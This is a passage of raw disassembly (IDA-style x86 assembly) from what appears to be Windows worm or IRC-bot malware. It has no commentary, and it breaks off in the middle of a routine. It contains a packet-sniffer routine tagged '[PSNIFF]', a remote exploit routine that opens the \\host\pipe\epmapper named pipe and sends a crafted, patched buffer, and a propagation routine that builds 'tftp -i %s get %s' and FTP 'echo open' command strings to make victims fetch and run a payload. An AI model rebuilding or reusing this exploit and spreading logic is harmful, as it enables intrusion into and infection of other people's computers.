		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25D0000h
		nop

loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78

loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx

loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43F5A4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43F6F4
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43F5FC
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25D0000h
		nop
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43C80C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 25F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43C808
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43F708
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7

loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43F708

loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------

loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax

loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43C80C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 25F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h

loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43F5A8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------

loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F674
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCD
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------

loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------

loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3

loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86

loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C

loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 2610691h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C

loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		nop
		call	near ptr 2610000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jnz	short loc_402F02

loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx

loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		nop
		call	near ptr 25F1A27h
		jmp	loc_402E4D
; ---------------------------------------------------------------------------

loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 25F1127h
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	near ptr 25F1A27h
		nop
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43F668
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------

loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF

loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059

loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi

loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43F700

loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------

loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43F700

loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		nop
		call	near ptr 25D0CB3h
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------

loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax

loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_415450
		pop	ecx
		mov	dword_43C810, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43C810
		push	eax
		call	dword_43F668
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		mov	esi, offset byte_42F674
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		nop
		call	near ptr 25D0CB3h
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226

loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------

loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		push	ebx
		call	dword_43F700
		mov	al, 1

loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_43C810
		add	esp, 2Ch
		push	eax
		call	dword_43F668
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------

loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
